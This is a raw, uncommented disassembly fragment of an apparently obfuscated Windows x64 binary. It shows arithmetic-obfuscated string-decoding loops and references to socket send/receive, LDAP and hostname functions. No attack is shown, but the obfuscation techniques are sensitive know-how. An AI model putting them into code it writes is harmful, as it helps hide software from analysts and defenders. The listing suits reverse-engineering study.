movabs rcx, 0x52ac41abb31839f0
add rcx, r10
movzx eax, cl
and al, sil
mov edx, Ordinal_60
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
jmp 0x1400dfbc1
inc rax
cmp r8, rax
jne 0x1400df931
movabs rcx, 0xfff6cdea0a0cce10
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
inc r9
dec r10
inc r10
jmp 0x1400df483
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400df7c8
movabs rcx, 0x626b8b21bcd3b2b0
add rcx, r10
movzx eax, cl
and al, sil
mov edx, Ordinal_26
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
jmp 0x1400dfad8
jne 0x1400df9a4
movabs rcx, 0x6e3b023a44204d40
add rcx, r10
movzx eax, cl
and al, sil
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r9
add r10, rax
inc r10
jmp 0x1400df483
inc rax
cmp r8, rax
jne 0x1400df9d5
movabs rcx, 0x1b858e789b14e160
add rcx, r10
movzx eax, cl
and al, sil
mov edx, Ordinal_50
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
jmp 0x1400dfc08
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dfa04
movabs rcx, 0x7dfa4bb04ddbc600
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec r10
inc r10
jmp 0x1400df483
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400df803
movabs rcx, 0xd88f642cfbc4ee40
add rcx, r10
movzx eax, cl
and al, sil
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
jmp 0x1400dfbc1
mov byte [rbp + r10 + 0x1b0], r11b
inc r10
jmp 0x1400df483
movabs rcx, 0x33247ca9a9ae1680
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rsi + rcx]
add r11b, 0x80
add r11b, bl
lea edx, [r10 - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, bl
mov byte [rbp + r10 + 0x1b0], cl
add r8, r9
jmp 0x1400dfb28
movabs rcx, 0xe06f08e800a2aaa0
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, sil
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x1400dfad8
movabs rcx, 0xd8989642f1b82030
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
lea edx, [r10 - 0x50]
movzx eax, r15b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r15b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x1b0], al
inc r9
add rax, r9
sub r10, rax
jmp 0x1400dfc08
movabs rcx, 0x2b4e0a049ac38c10
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400df483
movabs rcx, 0x236e654995e5cfb0
add rcx, r10
movzx eax, cl
and al, sil
mov edx, Ordinal_26
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
dec r10
inc r10
jmp 0x1400df483
movabs rcx, 0x7623d90b3ef13b90
add rcx, r10
movzx eax, cl
and al, sil
mov edx, 8
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
inc r9
dec r10
inc r10
jmp 0x1400df483
movabs rcx, 0xc8d94ccce7fca770
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x10
add cl, bl
mov byte [rbp + r10 + 0x1b0], cl
inc r9
dec r10
inc r10
jmp 0x1400df483
movabs rcx, 0xb13a5e9bd9637250
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [r15 + rcx]
sub r11b, 0x30
lea ecx, [r10 - 0x40]
movzx eax, r15b
and al, cl
add al, al
sub r15b, al
sub r15b, 0x40
add r15b, cl
mov byte [rbp + r10 + 0x1b0], r15b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r10, rax
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r9
add r10, rax
inc r10
jmp 0x1400df483
movabs rcx, 0x3efd25d826ede30
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [r15 + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r9
add r10, rax
inc r10
jmp 0x1400df483
movabs rcx, 0x3dd6e3196887a50
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
xor edi, edi
jmp 0x1400df47e
movabs rcx, 0x5692e1f33f93e630
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
xor edi, edi
jmp 0x1400df463
lea rax, [rbp + 0x169c470]
jmp 0x1400dfce8
lea rax, [rbp + 0x1240e80]
jmp 0x1400dfce8
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x3e0], rax
xor r8d, r8d
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp - 0x78]
call fcn.14002a0e0
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x58]
call fcn.1400285d0
nop
lea rcx, [rbp - 0x78]
call fcn.140028d40
mov byte [rbp - 0x30], 0xd5
mov byte [rbp - 0x2f], Ordinal_211
mov byte [rbp - 0x2e], Ordinal_211
mov byte [rbp - 0x2d], reloc.WLDAP32.dll_Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x1c], eax
mov word [rbp - 0x18], ax
movabs rsi, 0x4fe82289e27ef2df
movabs r12, 0xbaa987bd6c4f3023
movabs r14, 0x5a0cb3d9ceff2301
movabs r15, 0xe4b9a45ef660c2bb
movabs r13, 0x6f6694e41dc26275
movzx edx, byte [rbp + 0x3d0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor edi, edi
mov ebx, edi
cmp rbx, 0x1a
jae 0x1400e09bf
movzx r11d, byte [rbp + rbx - 0x30]
movzx r10d, r11b
nop dword [rax + rax]
movzx edi, r10b
cmp r8, rbx
ja 0x1400e09b6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dfddf
lea rcx, [rbx + r12]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
add dl, 0xb
jmp 0x1400dfe18
je 0x1400e093a
inc rax
cmp r8, rax
je 0x1400e08e4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e08a3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e086c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e082b
movzx r10d, r11b
nop dword [rax]
cmp r9, rbx
ja 0x1400e09ad
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400dfe4b
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x19
add dl, cl
jmp 0x1400dfe80
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e080c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e07e4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e07a3
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e0773
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400e0455
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e0433
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400e0408
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e03e0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e03be
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400e0399
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400e0374
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e034f
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400e032a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400dfe90
lea r8, [r9 + 0x64]
lea r9, [r8 + 9]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e098b
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e0969
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400e0073
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400e0057
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400e003b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400e02ca
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400e026d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e021e
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400e01f5
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400dfe90
lea r8, [r9 + 0x42]
lea r9, [r8 + 8]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400e01c3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400e019f
lea rcx, [r9 + 0x40]
cmp r8, rcx
ja 0x1400e017b
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400e0157
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400e0133
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400e0110
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400e00e4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400e00b5
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400e008f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400dfe90
mov r8, rcx
lea r9, [rcx + 6]
jmp 0x1400dfe90
lea rdx, [rbx + r14]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 7
add dl, cl
jmp 0x1400dfe80
lea rdx, [rbx + r15]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1d
add dl, cl
jmp 0x1400dfe20
lea rdx, [rbx + r13]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x33
add dl, cl
jmp 0x1400dfdb0
movabs rdx, 0x7f41144f13f796f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400e0847
movabs rdx, 0x9ee04d43b5936b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec rbx
inc rbx
jmp 0x1400dfd94
movabs rdx, 0x949af55962bad66c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec rbx
inc rbx
jmp 0x1400dfd94
movabs rdx, 0x1f47e5de8a1c7626
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xa
jmp 0x1400e07c0
movabs rcx, 0xa9f4d663b17e15e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x20
jmp 0x1400e0888
movabs rcx, 0x34a1c6e8d8dfb59a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x36
jmp 0x1400e088b
movabs rcx, 0xbf4eb76e00415554
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4c
jmp 0x1400e08bf
movabs rcx, 0x49fba7f327a2f50e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x62
jmp 0x1400e0900
movabs rcx, 0xd4a898784f0494c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x78
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dfd94
movabs rax, 0x2f58f1c53178a419
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
add dl, 0x51
mov byte [rbp + rbx - 0x30], dl
inc rbx
jmp 0x1400dfd94
movabs rdx, 0xba05e24a58da43d3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x3b
add dl, cl
cmp r9, 0x200
jb 0x1400e0212
movabs rax, 0x5f8c1579278d2df2
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
add r10b, al
lea edx, [r10*2 - 0x3c]
jmp 0x1400e0847
movabs rdx, 0x44b2d2cf803be38d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x25
add dl, cl
cmp r8, 0x3e8
jae 0x1400e0726
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400e0630
movabs rdx, 0xca4d7aacb15d6b36
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7a
jmp 0x1400e023c
movabs rdx, 0xcf5fc354a79d8347
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0xf
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x400
je 0x1400e074c
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400e0570
movabs rdx, 0x7a655822cede7857
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x61
jmp 0x1400e028b
movabs rcx, 0x6a1dbfc0765b50f4
add rcx, rbx
and r11b, cl
mov eax, Ordinal_45
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
jmp 0x1400e0900
movabs rcx, 0xf4cab0459dbcf0ae
add rcx, rbx
and r11b, cl
mov eax, Ordinal_35
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
jmp 0x1400e08bf
movabs rcx, 0x7f77a0cac51e9068
add rcx, rbx
and r11b, cl
mov eax, reloc.WS2_32.dll_sendto
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
jmp 0x1400e088b
movabs rcx, 0xa24914fec803022
add rcx, rbx
and r11b, cl
mov eax, 9
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
jmp 0x1400e0888
movabs rcx, 0x94d181d513e1cfdc
add rcx, rbx
and r11b, cl
add r11b, r11b
movzx edx, r10b
sub dl, r11b
sub dl, 4
jmp 0x1400e07c0
movabs rax, 0x1f7e725a3b436f96
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x1a
dec rbx
inc rbx
jmp 0x1400dfd94
movabs rax, 0xaa2b62df62a50f50
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400dfd94
movabs rax, 0x34d853648a06af0a
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x46
jmp 0x1400e0847
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400e0478
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0xb
jmp 0x1400e02e8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e04b1
movabs rax, 0x9fd04513c4fde5be
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x32
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dfd94
inc rax
cmp r8, rax
jne 0x1400e04db
movabs rax, 0x8a766409763aa64a
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 6
jmp 0x1400e08bf
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e0509
movabs rcx, 0x751c82ff277766d6
add rcx, rbx
and r11b, cl
mov eax, reloc.WS2_32.dll_send
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
jmp 0x1400e0888
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e0535
movabs rcx, 0xea6f927a0015c71c
add rcx, rbx
and r11b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_30
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
jmp 0x1400e07c0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e02ea
movabs rcx, 0xd515b16fb15287a8
add rcx, rbx
and r11b, cl
mov eax, 0x34
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
inc r9
dec rbx
inc rbx
jmp 0x1400dfd94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e059b
movabs rax, 0xefb8679da77cd89d
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x4b
jmp 0x1400e0847
cmp r8, rcx
jne 0x1400e05c8
movabs rax, 0xda5e869358b99929
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x1f
dec rbx
inc rbx
jmp 0x1400dfd94
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e05f3
movabs rax, 0x24fdd3f993d17a87
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
add dl, 0x4f
jmp 0x1400e0900
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400e028d
movabs rax, 0x9a50e3746c6fdacd
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
add dl, 0x65
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dfd94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e0669
movabs rax, 0x3fa08a2789fbcb7c
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x64
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dfd94
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e0694
movabs rax, 0x2a46a91d3b388c08
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x38
jmp 0x1400e08bf
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e06bf
movabs rax, 0x9f99b89813d6ec4e
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x22
jmp 0x1400e088b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e06eb
movabs rcx, 0x8a3fd78dc513acda
add rcx, rbx
and r11b, cl
mov eax, 5
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
jmp 0x1400e07c0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e023e
movabs rcx, 0x74e5f68376506d66
add rcx, rbx
and r11b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_27
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
inc r9
dec rbx
inc rbx
jmp 0x1400dfd94
movabs rcx, 0xd4df24f4002b8e38
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, al
add dl, dl
add dl, r10b
add dl, cl
add dl, r11b
jmp 0x1400e07c2
movabs rcx, 0x4a32346ed8c9ee7e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r10b, al
sub r10b, r11b
lea edx, [rcx + r10]
sub dl, 0x72
jmp 0x1400e08bf
movabs rax, 0x6fd3addb80105555
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x53
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dfd94
movabs rcx, 0x2534607544f873f7
add rcx, rbx
and r11b, cl
add r11b, r11b
movzx edx, r10b
sub dl, r11b
add dl, 0x3f
add dl, cl
lea ecx, [rbx + 0x5b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x7d
add r10b, dl
add r10b, cl
mov byte [rbp + rbx - 0x30], r10b
jmp 0x1400e0888
movabs rax, 0xafe150fa6c5a13b1
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
add dl, 0x29
dec rbx
inc rbx
jmp 0x1400dfd94
movabs rax, 0xc53b3204bb1d5325
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 3
jmp 0x1400e0847
movabs rax, 0xda95130f09e09299
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
sub dl, 0x2f
lea ecx, [rbx + 0x15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x6d
add cl, dil
mov byte [rbp + rbx - 0x30], cl
inc r9
dec rbx
inc rbx
jmp 0x1400dfd94
movabs rax, 0x548d523a7671181
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
add dl, 0x79
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400dfd94
movabs rax, 0x1aa2b62df62a50f5
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
add dl, 0x4d
lea ecx, [rbx - 0x5f]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x67
add cl, dil
movzx eax, cl
mov byte [rbp + rbx - 0x30], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400e0900
movabs rax, 0xa54fa6b31d8bf0af
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
add dl, 0x37
lea ecx, [rbx - 0x3c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x5c
add cl, dil
mov byte [rbp + rbx - 0x30], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dfd94
movabs rax, 0x2ffc973844ed9069
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
add dl, 0x21
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dfd94
movabs rax, 0xfa1385694524022f
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x49
jmp 0x1400dfd90
movabs rax, 0x84c075ee6c85a1e9
add rax, rbx
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edx, [rax + r10]
sub dl, 0x5f
jmp 0x1400dfd80
mov r14d, dword [rbp + 0x1745754]
jmp 0x1400e09c3
mov r14d, dword [rbp + 0x1438777]
jmp 0x1400e09c3
mov r14d, dword [rbp - 0x30]
lea rcx, [rbp - 0x58]
call fcn.140028db0
mov r15, rax
mov byte [rbp - 0x10], 0xef
mov byte [rbp - 0xf], 0xe9
mov byte [rbp - 0xe], 0xe7
mov byte [rbp - 0xd], 0xed
mov byte [rbp - 0xc], reloc.WS2_32.dll_sendto
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0xb], xmm0
mov qword [rbp + 5], rax
mov word [rbp + 0xd], ax
movabs r12, 0x6c8f0bb6fef75a64
movabs r13, 0x9dcb3528f9284a1c
movzx r10d, byte [rbp + 0x3d0]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor ebx, ebx
movabs rcx, 0x8b43c39afff365d4
cmp rbx, 0x1f
jae 0x1400e1630
movzx r11d, byte [rbp + rbx - 0x10]
movzx edi, r11b
movzx esi, dil
cmp r8, rbx
ja 0x1400e1627
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e0a6f
add rcx, rbx
mov rax, rcx
and rax, r11
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, r11
add r10b, 0x34
jmp 0x1400e0a8e
je 0x1400e15a3
inc rax
cmp r8, rax
je 0x1400e1565
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e1524
movzx edi, r11b
cmp r9, rbx
ja 0x1400e161e
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400e0ac1
lea rcx, [rbx + r12]
movzx eax, r11b
and al, cl
mov edx, Ordinal_35
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, dil
jmp 0x1400e0af0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400e14e1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e14ba
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400e1497
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e1136
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400e110f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e10e3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e10b6
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400e1093
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400e1070
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400e1049
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400e1026
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e0fff
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400e0fce
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400e0b00
lea r8, [r9 + 0x64]
lea r9, [r8 + 5]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400e15fb
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400e15d4
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e0cf8
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x1400e0cd4
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400e0cb4
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400e0f75
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400e0f13
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e0ebe
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400e0e93
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400e0b00
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400e0e62
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400e0e3b
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400e0e18
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400e0df1
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400e0dce
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400e0dab
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400e0d7e
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400e0d52
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400e0d2b
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400e0b00
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x42]
jmp 0x1400e0b00
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, dil
jmp 0x1400e0af0
movabs rcx, 0x8743adf2f9417e74
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x2c
jmp 0x1400e0a92
movabs rcx, 0x70bc26bcf95ab2cc
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, gethostname
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, dil
movabs rcx, 0x8b43c39afff365d4
jmp 0x1400e0a40
movabs rax, 0x64785db7f7bad320
add rax, rbx
and r11b, al
mov ecx, reloc.WS2_32.dll_recv
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e14ff
movabs rax, 0x4df0d681f7d40778
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x48
inc r9
dec rbx
inc rbx
jmp 0x1400e0a22
movabs rax, 0x37694f4bf7ed3bd0
add rax, rbx
and r11b, al
mov ecx, Ordinal_41
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
dec rbx
inc rbx
jmp 0x1400e0a22
movabs rax, 0x20e1c815f8067028
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x18
jmp 0x1400e1545
movabs rax, 0xa5a40dff81fa480
add rax, rbx
and r11b, al
add r11b, r11b
